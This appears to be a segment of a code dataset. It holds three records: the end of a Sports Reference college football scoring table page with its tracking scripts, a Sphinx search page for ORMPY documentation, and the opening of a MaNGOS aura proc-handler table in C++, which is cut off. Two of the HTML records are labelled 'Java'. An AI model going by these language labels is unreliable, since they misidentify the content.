<th align="right" class="tooltip" tip="Field Goals Made">FGM</th>
<th align="right" class="tooltip" tip="Two-Point Conversions Made">2PM</th>
<th align="right" class="tooltip" tip="Safeties">Sfty</th>
<th align="right" class="tooltip" tip="Points">Pts</th>
</tr>
</thead>
<tbody>
<tr class="">
<td align="right" csk="1">1</td>
<td align="left" csk="Fowler,Ryan"><a href="/cfb/players/ryan-fowler-2.html">Ryan Fowler</a></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >23</td>
<td align="right" >8</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >47</td>
</tr>
<tr class="">
<td align="right" csk="2">2</td>
<td align="left" csk="Smith,Larry"><a href="/cfb/players/larry-smith-1.html">Larry Smith</a></td>
<td align="right" >4</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >4</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >24</td>
</tr>
<tr class="">
<td align="right" csk="3">3</td>
<td align="left" csk="Norman,Warren"><a href="/cfb/players/warren-norman-1.html">Warren Norman</a></td>
<td align="right" >4</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >4</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >24</td>
</tr>
<tr class="">
<td align="right" csk="4">4</td>
<td align="left" csk="Matthews,Jordan"><a href="/cfb/players/jordan-matthews-1.html">Jordan Matthews</a></td>
<td align="right" ></td>
<td align="right" >4</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >4</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >24</td>
</tr>
<tr class="">
<td align="right" csk="5">5</td>
<td align="left" csk="Barden,Brandon"><a href="/cfb/players/brandon-barden-1.html">Brandon Barden</a></td>
<td align="right" ></td>
<td align="right" >3</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >3</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >18</td>
</tr>
<tr class="">
<td align="right" csk="6">6</td>
<td align="left" csk="Stacy,Zac"><a href="/cfb/players/zac-stacy-1.html">Zac Stacy</a></td>
<td align="right" >3</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >3</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >18</td>
</tr>
<tr class="">
<td align="right" csk="7">7</td>
<td align="left" csk="Krause,Jonathan"><a href="/cfb/players/jonathan-krause-1.html">Jonathan Krause</a></td>
<td align="right" >2</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >2</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >12</td>
</tr>
<tr class="">
<td align="right" csk="8">8</td>
<td align="left" csk="Umoh,Udom"><a href="/cfb/players/udom-umoh-1.html">Udom Umoh</a></td>
<td align="right" ></td>
<td align="right" >2</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >2</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >12</td>
</tr>
<tr class="">
<td align="right" csk="9">9</td>
<td align="left" csk="Cole,John"><a href="/cfb/players/john-cole-1.html">John Cole</a></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >6</td>
</tr>
<tr class="">
<td align="right" csk="10">10</td>
<td align="left" csk="Johnston,Mason"><a href="/cfb/players/mason-johnston-1.html">Mason Johnston</a></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >6</td>
</tr>
<tr class="">
<td align="right" csk="11">11</td>
<td align="left" csk="Marshall,Javon"><a href="/cfb/players/javon-marshall-1.html">Javon Marshall</a></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >6</td>
</tr>
<tr class="">
<td align="right" csk="12">12</td>
<td align="left" csk="Foster,Eddie"><a href="/cfb/players/eddie-foster-1.html">Eddie Foster</a></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >6</td>
</tr>
</tbody>
</table>
</div>
</div>
<div id="sr_js"></div>
<script type="text/javascript">
(function () {
var sr_js_file = 'http://d2ft4b0ve1aur1.cloudfront.net/js-237/sr-cfb-min.js';
if (sr_gzipEnabled) {
sr_js_file = 'http://d2ft4b0ve1aur1.cloudfront.net/js-237/sr-cfb-min.js.jgz';
}
var sr_script_tag = document.getElementById("sr_js");
if (sr_script_tag) {
var scriptStyles = document.createElement("script");
scriptStyles.type = "text/javascript";
scriptStyles.src = sr_js_file;
sr_script_tag.appendChild(scriptStyles);
//alert('adding js to footer:'+sr_js_file);
}
}());
</script>
<div id="site_footer">
<div class="margin border">
<script type="text/javascript">
//<!--
google_ad_client = "ca-pub-5319453360923253";
/* Page Bottom - CFB */
google_ad_slot = "6637784901";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/deferscript" defersrc="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</div>
<div id="sr_footer">
Copyright © 2000-2012
<a href="http://www.sports-reference.com">Sports Reference LLC</a>.
All rights reserved.
<form class="inline margin_left" method="get" name="f_footer" action="/cfb/search.cgi">
<input x-webkit-speech type="text" id="search_footer" name="search" class="search long">
<input type="submit" value="Search" class="submit">
</form>
<div class="blockquote clear_both margin_top">
<a href="http://www.sports-reference.com/">A Sports Reference Site</a>:
<a href="/cfb/about/">About SR/CFB</a> |
<a href="/cfb/feedback/">Found a bug or have a suggestion?</a><br>
<a href="http://www.sports-reference.com/privacy.shtml">Privacy Statement</a> |
<a href="http://www.sports-reference.com/termsofuse.shtml">Conditions & Terms of Service</a> |
<a href="http://www.sports-reference.com/data_use.shtml">Use of Data</a>
</div>
<div class="blockquote italic_text clear_both margin_top">
Some school's results have been altered by retroactive NCAA penalties. As a
matter of policy, Sports Reference only report the results of games as
played on the field. See our list of <a
href="/cfb/friv/forfeits.cgi">forfeits and vacated games</a> for more
details.
</div>
<div class="blockquote clear_both margin_top margin_bottom">
Part of the <a target="_blank" title="USA TODAY Sports"
href="http://Sports.USATODAY.com/">USA TODAY Sports Media Group</a>.
</div>
</div><!-- div#sr_footer -->
</div><!-- div#site_footer -->
<!-- google +1 code -->
<script type="text/deferscript">
(function() {
var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
po.src = 'https://apis.google.com/js/plusone.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
})();
</script>
<!-- google analytics code -->
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._createTracker("UA-1890630-11");
pageTracker._setCookiePath("/cfb/");
pageTracker._trackPageview();
pageTracker._trackPageLoadTime();
var sr_tracker = _gat._createTracker("UA-1890630-9");
sr_tracker._setDomainName('none');
sr_tracker._setAllowLinker(true);
sr_tracker._setAllowHash(false);
sr_tracker._setCustomVar(1,"site","cfb",3);
sr_tracker._trackPageview();
} catch(err) {}</script>
<!-- End Google Analytics Tag -->
<!-- Begin comScore Tag -->
<script type="text/deferscript">
document.write(unescape("%3Cscript src='" + (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js' %3E%3C/script%3E"));
</script>
<script type="text/deferscript">
COMSCORE.beacon({
c1:2,
c2:"6035210",
c3:"",
c4:"www.sports-reference.com/cfb",
c5:"",
c6:"",
c15:""
});
</script>
<noscript>
<img src="http://b.scorecardresearch.com/b?c1=2&c2=6035210&c3=&c4=www.sports-reference.com/cfb&c5=&c6=&c15=&cv=1.3&cj=1" width="0" height="0" alt="" />
</noscript>
<!-- End comScore Tag -->
<script type="text/deferscript">
(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) {return;}
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=220051088022369";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));
</script>
<!-- google +1 code -->
<script type="text/deferscript">
(function() {
var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
po.src = 'https://apis.google.com/js/plusone.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
})();
</script>
</div>
</body>
</html>
| Java |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Search — ORMPY 0.1 documentation</title>
<link rel="stylesheet" href="_static/default.css" type="text/css" />
<link rel="stylesheet" href="_static/pygments.css" type="text/css" />
<script type="text/javascript">
var DOCUMENTATION_OPTIONS = {
URL_ROOT: './',
VERSION: '0.1',
COLLAPSE_INDEX: false,
FILE_SUFFIX: '.html',
HAS_SOURCE: true
};
</script>
<script type="text/javascript" src="_static/jquery.js"></script>
<script type="text/javascript" src="_static/underscore.js"></script>
<script type="text/javascript" src="_static/doctools.js"></script>
<script type="text/javascript" src="_static/searchtools.js"></script>
<link rel="top" title="ORMPY 0.1 documentation" href="index.html" />
<script type="text/javascript">
jQuery(function() { Search.loadIndex("searchindex.js"); });
</script>
<script type="text/javascript" id="searchindexloader"></script>
</head>
<body>
<div class="related">
<h3>Navigation</h3>
<ul>
<li class="right" style="margin-right: 10px">
<a href="genindex.html" title="General Index"
accesskey="I">index</a></li>
<li class="right" >
<a href="py-modindex.html" title="Python Module Index"
>modules</a> |</li>
<li><a href="index.html">ORMPY 0.1 documentation</a> »</li>
</ul>
</div>
<div class="document">
<div class="documentwrapper">
<div class="bodywrapper">
<div class="body">
<h1 id="search-documentation">Search</h1>
<div id="fallback" class="admonition warning">
<script type="text/javascript">$('#fallback').hide();</script>
<p>
Please activate JavaScript to enable the search
functionality.
</p>
</div>
<p>
From here you can search these documents. Enter your search
words into the box below and click "search". Note that the search
function will automatically search for all of the words. Pages
containing fewer words won't appear in the result list.
</p>
<form action="" method="get">
<input type="text" name="q" value="" />
<input type="submit" value="search" />
<span id="search-progress" style="padding-left: 10px"></span>
</form>
<div id="search-results">
</div>
</div>
</div>
</div>
<div class="sphinxsidebar">
<div class="sphinxsidebarwrapper">
</div>
</div>
<div class="clearer"></div>
</div>
<div class="related">
<h3>Navigation</h3>
<ul>
<li class="right" style="margin-right: 10px">
<a href="genindex.html" title="General Index"
>index</a></li>
<li class="right" >
<a href="py-modindex.html" title="Python Module Index"
>modules</a> |</li>
<li><a href="index.html">ORMPY 0.1 documentation</a> »</li>
</ul>
</div>
<div class="footer">
© Copyright 2014, Matthew Nizol.
Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.2.2.
</div>
</body>
</html> | Java |
/*
* Copyright (C) 2005-2011 MaNGOS <http://getmangos.com/>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include "Common.h"
#include "Log.h"
#include "ObjectMgr.h"
#include "SpellMgr.h"
#include "Player.h"
#include "Unit.h"
#include "Spell.h"
#include "SpellAuras.h"
#include "Totem.h"
#include "Creature.h"
#include "Formulas.h"
#include "CreatureAI.h"
#include "Util.h"
pAuraProcHandler AuraProcHandler[TOTAL_AURAS]=
{
&Unit::HandleNULLProc, // 0 SPELL_AURA_NONE
&Unit::HandleNULLProc, // 1 SPELL_AURA_BIND_SIGHT
&Unit::HandleNULLProc, // 2 SPELL_AURA_MOD_POSSESS
&Unit::HandleNULLProc, // 3 SPELL_AURA_PERIODIC_DAMAGE
&Unit::HandleDummyAuraProc, // 4 SPELL_AURA_DUMMY
&Unit::HandleRemoveByDamageProc, // 5 SPELL_AURA_MOD_CONFUSE
&Unit::HandleNULLProc, // 6 SPELL_AURA_MOD_CHARM
&Unit::HandleRemoveByDamageChanceProc, // 7 SPELL_AURA_MOD_FEAR
&Unit::HandleNULLProc, // 8 SPELL_AURA_PERIODIC_HEAL
&Unit::HandleNULLProc, // 9 SPELL_AURA_MOD_ATTACKSPEED
&Unit::HandleNULLProc, // 10 SPELL_AURA_MOD_THREAT
&Unit::HandleNULLProc, // 11 SPELL_AURA_MOD_TAUNT
&Unit::HandleNULLProc, // 12 SPELL_AURA_MOD_STUN
&Unit::HandleNULLProc, // 13 SPELL_AURA_MOD_DAMAGE_DONE
&Unit::HandleNULLProc, // 14 SPELL_AURA_MOD_DAMAGE_TAKEN
&Unit::HandleNULLProc, // 15 SPELL_AURA_DAMAGE_SHIELD
&Unit::HandleRemoveByDamageProc, // 16 SPELL_AURA_MOD_STEALTH
&Unit::HandleNULLProc, // 17 SPELL_AURA_MOD_STEALTH_DETECT
&Unit::HandleRemoveByDamageProc, // 18 SPELL_AURA_MOD_INVISIBILITY
&Unit::HandleNULLProc, // 19 SPELL_AURA_MOD_INVISIBILITY_DETECTION
&Unit::HandleNULLProc, // 20 SPELL_AURA_OBS_MOD_HEALTH
&Unit::HandleNULLProc, // 21 SPELL_AURA_OBS_MOD_MANA
&Unit::HandleNULLProc, // 22 SPELL_AURA_MOD_RESISTANCE
&Unit::HandleNULLProc, // 23 SPELL_AURA_PERIODIC_TRIGGER_SPELL
&Unit::HandleNULLProc, // 24 SPELL_AURA_PERIODIC_ENERGIZE
&Unit::HandleNULLProc, // 25 SPELL_AURA_MOD_PACIFY
&Unit::HandleRemoveByDamageChanceProc, // 26 SPELL_AURA_MOD_ROOT
&Unit::HandleNULLProc, // 27 SPELL_AURA_MOD_SILENCE
&Unit::HandleNULLProc, // 28 SPELL_AURA_REFLECT_SPELLS
&Unit::HandleNULLProc, // 29 SPELL_AURA_MOD_STAT
&Unit::HandleNULLProc, // 30 SPELL_AURA_MOD_SKILL
&Unit::HandleNULLProc, // 31 SPELL_AURA_MOD_INCREASE_SPEED
&Unit::HandleNULLProc, // 32 SPELL_AURA_MOD_INCREASE_MOUNTED_SPEED
&Unit::HandleNULLProc, // 33 SPELL_AURA_MOD_DECREASE_SPEED
&Unit::HandleNULLProc, // 34 SPELL_AURA_MOD_INCREASE_HEALTH
&Unit::HandleNULLProc, // 35 SPELL_AURA_MOD_INCREASE_ENERGY
&Unit::HandleNULLProc, // 36 SPELL_AURA_MOD_SHAPESHIFT
&Unit::HandleNULLProc, // 37 SPELL_AURA_EFFECT_IMMUNITY
&Unit::HandleNULLProc, // 38 SPELL_AURA_STATE_IMMUNITY
&Unit::HandleNULLProc, // 39 SPELL_AURA_SCHOOL_IMMUNITY
&Unit::HandleNULLProc, // 40 SPELL_AURA_DAMAGE_IMMUNITY
&Unit::HandleNULLProc, // 41 SPELL_AURA_DISPEL_IMMUNITY
&Unit::HandleProcTriggerSpellAuraProc, // 42 SPELL_AURA_PROC_TRIGGER_SPELL
&Unit::HandleProcTriggerDamageAuraProc, // 43 SPELL_AURA_PROC_TRIGGER_DAMAGE
&Unit::HandleNULLProc, // 44 SPELL_AURA_TRACK_CREATURES
&Unit::HandleNULLProc, // 45 SPELL_AURA_TRACK_RESOURCES
&Unit::HandleNULLProc, // 46 SPELL_AURA_46 (used in test spells 54054 and 54058, and spell 48050) (3.0.8a-3.2.2a)
&Unit::HandleNULLProc, // 47 SPELL_AURA_MOD_PARRY_PERCENT
&Unit::HandleNULLProc, // 48 SPELL_AURA_48 spell Napalm (area damage spell with additional delayed damage effect)
&Unit::HandleNULLProc, // 49 SPELL_AURA_MOD_DODGE_PERCENT
&Unit::HandleNULLProc, // 50 SPELL_AURA_MOD_CRITICAL_HEALING_AMOUNT
&Unit::HandleNULLProc, // 51 SPELL_AURA_MOD_BLOCK_PERCENT
&Unit::HandleNULLProc, // 52 SPELL_AURA_MOD_CRIT_PERCENT
&Unit::HandleNULLProc, // 53 SPELL_AURA_PERIODIC_LEECH
&Unit::HandleNULLProc, // 54 SPELL_AURA_MOD_HIT_CHANCE
&Unit::HandleNULLProc, // 55 SPELL_AURA_MOD_SPELL_HIT_CHANCE
&Unit::HandleNULLProc, // 56 SPELL_AURA_TRANSFORM
&Unit::HandleSpellCritChanceAuraProc, // 57 SPELL_AURA_MOD_SPELL_CRIT_CHANCE
&Unit::HandleNULLProc, // 58 SPELL_AURA_MOD_INCREASE_SWIM_SPEED
&Unit::HandleNULLProc, // 59 SPELL_AURA_MOD_DAMAGE_DONE_CREATURE
&Unit::HandleRemoveByDamageChanceProc, // 60 SPELL_AURA_MOD_PACIFY_SILENCE
&Unit::HandleNULLProc, // 61 SPELL_AURA_MOD_SCALE
&Unit::HandleNULLProc, // 62 SPELL_AURA_PERIODIC_HEALTH_FUNNEL
&Unit::HandleNULLProc, // 63 unused (3.0.8a-3.2.2a) old SPELL_AURA_PERIODIC_MANA_FUNNEL
&Unit::HandleNULLProc, // 64 SPELL_AURA_PERIODIC_MANA_LEECH
&Unit::HandleModCastingSpeedNotStackAuraProc, // 65 SPELL_AURA_MOD_CASTING_SPEED_NOT_STACK
&Unit::HandleNULLProc, // 66 SPELL_AURA_FEIGN_DEATH
&Unit::HandleNULLProc, // 67 SPELL_AURA_MOD_DISARM
&Unit::HandleNULLProc, // 68 SPELL_AURA_MOD_STALKED
&Unit::HandleNULLProc, // 69 SPELL_AURA_SCHOOL_ABSORB
&Unit::HandleNULLProc, // 70 SPELL_AURA_EXTRA_ATTACKS Useless, used by only one spell 41560 that has only visual effect (3.2.2a)
&Unit::HandleNULLProc, // 71 SPELL_AURA_MOD_SPELL_CRIT_CHANCE_SCHOOL
&Unit::HandleModPowerCostSchoolAuraProc, // 72 SPELL_AURA_MOD_POWER_COST_SCHOOL_PCT
&Unit::HandleModPowerCostSchoolAuraProc, // 73 SPELL_AURA_MOD_POWER_COST_SCHOOL
&Unit::HandleReflectSpellsSchoolAuraProc, // 74 SPELL_AURA_REFLECT_SPELLS_SCHOOL
&Unit::HandleNULLProc, // 75 SPELL_AURA_MOD_LANGUAGE
&Unit::HandleNULLProc, // 76 SPELL_AURA_FAR_SIGHT
&Unit::HandleMechanicImmuneResistanceAuraProc, // 77 SPELL_AURA_MECHANIC_IMMUNITY
&Unit::HandleNULLProc, // 78 SPELL_AURA_MOUNTED
&Unit::HandleModDamagePercentDoneAuraProc, // 79 SPELL_AURA_MOD_DAMAGE_PERCENT_DONE
&Unit::HandleNULLProc, // 80 SPELL_AURA_MOD_PERCENT_STAT
&Unit::HandleNULLProc, // 81 SPELL_AURA_SPLIT_DAMAGE_PCT
&Unit::HandleNULLProc, // 82 SPELL_AURA_WATER_BREATHING
&Unit::HandleNULLProc, // 83 SPELL_AURA_MOD_BASE_RESISTANCE
&Unit::HandleNULLProc, // 84 SPELL_AURA_MOD_REGEN
&Unit::HandleCantTrigger, // 85 SPELL_AURA_MOD_POWER_REGEN
&Unit::HandleNULLProc, // 86 SPELL_AURA_CHANNEL_DEATH_ITEM
&Unit::HandleNULLProc, // 87 SPELL_AURA_MOD_DAMAGE_PERCENT_TAKEN
&Unit::HandleNULLProc, // 88 SPELL_AURA_MOD_HEALTH_REGEN_PERCENT
&Unit::HandleNULLProc, // 89 SPELL_AURA_PERIODIC_DAMAGE_PERCENT
&Unit::HandleNULLProc, // 90 unused (3.0.8a-3.2.2a) old SPELL_AURA_MOD_RESIST_CHANCE
&Unit::HandleNULLProc, // 91 SPELL_AURA_MOD_DETECT_RANGE
&Unit::HandleNULLProc, // 92 SPELL_AURA_PREVENTS_FLEEING
&Unit::HandleNULLProc, // 93 SPELL_AURA_MOD_UNATTACKABLE
&Unit::HandleNULLProc, // 94 SPELL_AURA_INTERRUPT_REGEN
&Unit::HandleNULLProc, // 95 SPELL_AURA_GHOST
&Unit::HandleNULLProc, // 96 SPELL_AURA_SPELL_MAGNET
&Unit::HandleNULLProc, // 97 SPELL_AURA_MANA_SHIELD
&Unit::HandleNULLProc, // 98 SPELL_AURA_MOD_SKILL_TALENT
&Unit::HandleNULLProc, // 99 SPELL_AURA_MOD_ATTACK_POWER
&Unit::HandleNULLProc, //100 SPELL_AURA_AURAS_VISIBLE obsolete 3.x? all player can see all auras now, but still have 2 spells including GM-spell (1852,2855)
&Unit::HandleNULLProc, //101 SPELL_AURA_MOD_RESISTANCE_PCT
&Unit::HandleNULLProc, //102 SPELL_AURA_MOD_MELEE_ATTACK_POWER_VERSUS
&Unit::HandleNULLProc, //103 SPELL_AURA_MOD_TOTAL_THREAT
&Unit::HandleNULLProc, //104 SPELL_AURA_WATER_WALK
&Unit::HandleNULLProc, //105 SPELL_AURA_FEATHER_FALL
&Unit::HandleNULLProc, //106 SPELL_AURA_HOVER
&Unit::HandleAddFlatModifierAuraProc, //107 SPELL_AURA_ADD_FLAT_MODIFIER
&Unit::HandleAddPctModifierAuraProc, //108 SPELL_AURA_ADD_PCT_MODIFIER
&Unit::HandleNULLProc, //109 SPELL_AURA_ADD_TARGET_TRIGGER
&Unit::HandleNULLProc, //110 SPELL_AURA_MOD_POWER_REGEN_PERCENT
&Unit::HandleNULLProc, //111 SPELL_AURA_ADD_CASTER_HIT_TRIGGER
&Unit::HandleOverrideClassScriptAuraProc, //112 SPELL_AURA_OVERRIDE_CLASS_SCRIPTS
&Unit::HandleNULLProc, //113 SPELL_AURA_MOD_RANGED_DAMAGE_TAKEN
&Unit::HandleNULLProc, //114 SPELL_AURA_MOD_RANGED_DAMAGE_TAKEN_PCT
&Unit::HandleNULLProc, //115 SPELL_AURA_MOD_HEALING
&Unit::HandleNULLProc, //116 SPELL_AURA_MOD_REGEN_DURING_COMBAT
&Unit::HandleMechanicImmuneResistanceAuraProc, //117 SPELL_AURA_MOD_MECHANIC_RESISTANCE
&Unit::HandleNULLProc, //118 SPELL_AURA_MOD_HEALING_PCT
&Unit::HandleNULLProc, //119 unused (3.0.8a-3.2.2a) old SPELL_AURA_SHARE_PET_TRACKING
&Unit::HandleNULLProc, //120 SPELL_AURA_UNTRACKABLE
&Unit::HandleNULLProc, //121 SPELL_AURA_EMPATHY
&Unit::HandleNULLProc, //122 SPELL_AURA_MOD_OFFHAND_DAMAGE_PCT
&Unit::HandleNULLProc, //123 SPELL_AURA_MOD_TARGET_RESISTANCE
&Unit::HandleNULLProc, //124 SPELL_AURA_MOD_RANGED_ATTACK_POWER
&Unit::HandleNULLProc, //125 SPELL_AURA_MOD_MELEE_DAMAGE_TAKEN
&Unit::HandleNULLProc, //126 SPELL_AURA_MOD_MELEE_DAMAGE_TAKEN_PCT
&Unit::HandleNULLProc, //127 SPELL_AURA_RANGED_ATTACK_POWER_ATTACKER_BONUS
&Unit::HandleNULLProc, //128 SPELL_AURA_MOD_POSSESS_PET
&Unit::HandleNULLProc, //129 SPELL_AURA_MOD_SPEED_ALWAYS
&Unit::HandleNULLProc, //130 SPELL_AURA_MOD_MOUNTED_SPEED_ALWAYS
&Unit::HandleNULLProc, //131 SPELL_AURA_MOD_RANGED_ATTACK_POWER_VERSUS
&Unit::HandleNULLProc, //132 SPELL_AURA_MOD_INCREASE_ENERGY_PERCENT
&Unit::HandleNULLProc, //133 SPELL_AURA_MOD_INCREASE_HEALTH_PERCENT
&Unit::HandleNULLProc, //134 SPELL_AURA_MOD_MANA_REGEN_INTERRUPT
&Unit::HandleNULLProc, //135 SPELL_AURA_MOD_HEALING_DONE
&Unit::HandleNULLProc, //136 SPELL_AURA_MOD_HEALING_DONE_PERCENT
&Unit::HandleNULLProc, //137 SPELL_AURA_MOD_TOTAL_STAT_PERCENTAGE
&Unit::HandleHasteAuraProc, //138 SPELL_AURA_MOD_MELEE_HASTE
&Unit::HandleNULLProc, //139 SPELL_AURA_FORCE_REACTION
&Unit::HandleNULLProc, //140 SPELL_AURA_MOD_RANGED_HASTE
&Unit::HandleNULLProc, //141 SPELL_AURA_MOD_RANGED_AMMO_HASTE
&Unit::HandleNULLProc, //142 SPELL_AURA_MOD_BASE_RESISTANCE_PCT
&Unit::HandleNULLProc, //143 SPELL_AURA_MOD_RESISTANCE_EXCLUSIVE
&Unit::HandleNULLProc, //144 SPELL_AURA_SAFE_FALL
&Unit::HandleNULLProc, //145 SPELL_AURA_MOD_PET_TALENT_POINTS
&Unit::HandleNULLProc, //146 SPELL_AURA_ALLOW_TAME_PET_TYPE
&Unit::HandleNULLProc, //147 SPELL_AURA_MECHANIC_IMMUNITY_MASK
&Unit::HandleNULLProc, //148 SPELL_AURA_RETAIN_COMBO_POINTS
&Unit::HandleCantTrigger, //149 SPELL_AURA_REDUCE_PUSHBACK
&Unit::HandleNULLProc, //150 SPELL_AURA_MOD_SHIELD_BLOCKVALUE_PCT
&Unit::HandleNULLProc, //151 SPELL_AURA_TRACK_STEALTHED
&Unit::HandleNULLProc, //152 SPELL_AURA_MOD_DETECTED_RANGE
&Unit::HandleNULLProc, //153 SPELL_AURA_SPLIT_DAMAGE_FLAT
&Unit::HandleNULLProc, //154 SPELL_AURA_MOD_STEALTH_LEVEL
&Unit::HandleNULLProc, //155 SPELL_AURA_MOD_WATER_BREATHING
&Unit::HandleNULLProc, //156 SPELL_AURA_MOD_REPUTATION_GAIN
&Unit::HandleNULLProc, //157 SPELL_AURA_PET_DAMAGE_MULTI (single test like spell 20782, also single for 214 aura)
&Unit::HandleNULLProc, //158 SPELL_AURA_MOD_SHIELD_BLOCKVALUE
&Unit::HandleNULLProc, //159 SPELL_AURA_NO_PVP_CREDIT
&Unit::HandleNULLProc, //160 SPELL_AURA_MOD_AOE_AVOIDANCE
&Unit::HandleNULLProc, //161 SPELL_AURA_MOD_HEALTH_REGEN_IN_COMBAT
&Unit::HandleNULLProc, //162 SPELL_AURA_POWER_BURN_MANA
&Unit::HandleNULLProc, //163 SPELL_AURA_MOD_CRIT_DAMAGE_BONUS
&Unit::HandleNULLProc, //164 unused (3.0.8a-3.2.2a), only one test spell 10654
&Unit::HandleNULLProc, //165 SPELL_AURA_MELEE_ATTACK_POWER_ATTACKER_BONUS
&Unit::HandleNULLProc, //166 SPELL_AURA_MOD_ATTACK_POWER_PCT
&Unit::HandleNULLProc, //167 SPELL_AURA_MOD_RANGED_ATTACK_POWER_PCT
&Unit::HandleNULLProc, //168 SPELL_AURA_MOD_DAMAGE_DONE_VERSUS
&Unit::HandleNULLProc, //169 SPELL_AURA_MOD_CRIT_PERCENT_VERSUS
&Unit::HandleNULLProc, //170 SPELL_AURA_DETECT_AMORE different spells that ignore transformation effects
&Unit::HandleNULLProc, //171 SPELL_AURA_MOD_SPEED_NOT_STACK
&Unit::HandleNULLProc, //172 SPELL_AURA_MOD_MOUNTED_SPEED_NOT_STACK
&Unit::HandleNULLProc, //173 unused (3.0.8a-3.2.2a) no spells, old SPELL_AURA_ALLOW_CHAMPION_SPELLS only for Proclaim Champion spell
&Unit::HandleNULLProc, //174 SPELL_AURA_MOD_SPELL_DAMAGE_OF_STAT_PERCENT
&Unit::HandleNULLProc, //175 SPELL_AURA_MOD_SPELL_HEALING_OF_STAT_PERCENT
&Unit::HandleNULLProc, //176 SPELL_AURA_SPIRIT_OF_REDEMPTION only for Spirit of Redemption spell, die at aura end
&Unit::HandleNULLProc, //177 SPELL_AURA_AOE_CHARM (22 spells)
&Unit::HandleNULLProc, //178 SPELL_AURA_MOD_DEBUFF_RESISTANCE
&Unit::HandleNULLProc, //179 SPELL_AURA_MOD_ATTACKER_SPELL_CRIT_CHANCE
&Unit::HandleNULLProc, //180 SPELL_AURA_MOD_FLAT_SPELL_DAMAGE_VERSUS
&Unit::HandleNULLProc, //181 unused (3.0.8a-3.2.2a) old SPELL_AURA_MOD_FLAT_SPELL_CRIT_DAMAGE_VERSUS
&Unit::HandleNULLProc, //182 SPELL_AURA_MOD_RESISTANCE_OF_STAT_PERCENT
